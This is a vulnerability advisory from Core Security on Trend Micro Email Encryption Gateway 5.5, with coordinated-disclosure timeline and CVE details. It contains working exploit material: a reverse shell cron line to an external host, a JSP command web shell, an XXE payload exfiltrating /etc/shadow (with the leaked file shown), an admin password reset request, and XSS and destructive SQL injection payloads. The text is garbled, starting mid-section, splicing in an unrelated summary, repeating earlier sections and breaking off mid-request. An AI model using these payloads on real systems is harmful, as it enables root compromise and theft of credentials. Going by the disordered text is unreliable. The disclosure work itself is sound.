/----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

A lack of cross-site request forgery (CSRF) protection vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to submit authenticated requests to a user browsing an attacker-controlled domain. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. Email Encryption Gateway 5.5 Build 1111 and prior versions are vulnerable. The vulnerability stems from the fact that the program does not correctly verify the input submitted by the user. *Advisory Information* Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities Advisory ID: CORE-2017-0006 Advisory URL: http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities Date published: 2018-02-21 Date of last update: 2018-02-21 Vendors contacted: Trend Micro Release mode: Coordinated release 2. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 